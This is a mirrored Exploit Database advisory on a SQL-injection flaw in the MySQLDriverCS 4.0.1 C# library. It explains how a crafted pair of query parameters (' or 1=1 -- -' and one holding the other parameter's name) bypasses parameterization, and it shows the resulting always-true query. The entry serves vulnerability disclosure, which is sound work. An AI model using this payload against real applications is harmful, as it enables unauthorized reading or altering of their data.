MySQLDriverCS 4.0.1 – SQL Injection

• Exploit Database
• 14 阅读

• 作者： Qihan Luo
  日期： 2011-06-27
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/35892/

• source: https://www.securityfocus.com/bid/48466/info
  
  MySQLDriverCS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
  A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
  MySQLDriverCS 4.0.1 is vulnerable; other versions may also be affected.
  
  There is an example for illustrating the attack against the vulnerability:
  ----------------------------------------------------------------------
  DataTable dt = new DataTable();
  MySQLConnection conn = new MySQLConnection(CONN_STRING);
  MySQLDataAdapter Cmd = new MySQLDataAdapter();
  string sCmdText = "SELECT * FROM filelist where FILENAME=@sFileName AND LANGUAGE=@sLanguage";
  Cmd.SelectCommand = new MySQLCommand(sCmdText, conn);
  Cmd.SelectCommand.Connection.Open();
  Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sFileName", SqlDbType.VarChar));
  Cmd.SelectCommand.Parameters["@sFileName"].Value = sFileName;
  Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sLanguage", SqlDbType.VarChar));
  Cmd.SelectCommand.Parameters["@sLanguage"].Value = sLanguage;
  Cmd.Fill(dt);
  Cmd.SelectCommand.Connection.Close();
  ----------------------------------------------------------------------
  
  Assigning (one parameter is assigned with SQL injection attack vector, while another one is assigned with a string which contains the parameter name of the first.):
  ----------------------------------------------------------------------
  @sFileName: " or 1=1 -- -"
  @sLanguage: "cn@sFileName"
  ----------------------------------------------------------------------
  
  Then, the final sql query statement executed by Mysql is as following:
  ----------------------------------------------------------------------
  SELECT * FROM filelist where FILENAME=' or 1=1 -- -' AND LANGUAGE='cn' or 1=1 -- -''
  ----------------------------------------------------------------------
  Of course, we should use two parameters to launch a cross-parameter SQL injection attack.